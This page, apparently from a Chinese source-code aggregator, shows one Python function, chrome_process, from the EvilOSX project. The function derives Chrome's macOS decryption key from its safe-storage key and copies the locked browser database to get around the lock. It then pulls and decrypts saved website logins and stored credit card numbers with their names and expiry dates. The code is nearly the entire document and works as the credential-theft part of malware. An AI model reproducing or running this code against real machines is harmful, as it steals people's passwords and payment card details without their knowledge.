chrome_passwords.py 文件源码

python
阅读 24 收藏 0 点赞 0 评论 0

项目:EvilOSX 作者: Marten4n6 项目源码 文件源码
def chrome_process(safe_storage_key, chrome_data):
    # Salt, iterations, iv, size -> https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
    iv = "".join(("20",) * 16)
    key = pbkdf2_hmac("sha1", safe_storage_key, b"saltysalt", 1003)[:16]
    copy_path = tempfile.mkdtemp()  # Work around for locking DB

    with open(chrome_data, "r") as content:
        dbcopy = content.read()
    with open("{0}/chrome".format(copy_path), "w") as content:
        # If Chrome is open the DB will be locked, get around this by making a temp copy.
        content.write(dbcopy)

    database = sqlite3.connect("{0}/chrome".format(copy_path))

    if "Web Data" in chrome_data:
        sql_query = "select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards"
    else:
        sql_query = "select username_value, password_value, origin_url, submit_element from logins"

    decrypted_list = []
    with database:
        for values in database.execute(sql_query):
            if values[0] == '' or (values[1][:3] != b"v10"):
                # User will be empty if they have selected "never" store password.
                continue
            else:
                decrypted_list.append((str(values[2]).encode("ascii", "ignore"), values[0].encode("ascii", "ignore"), str(chrome_decrypt(values[1], iv, key)).encode("ascii", "ignore"), values[3]))
    shutil.rmtree(copy_path)
    return decrypted_list
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号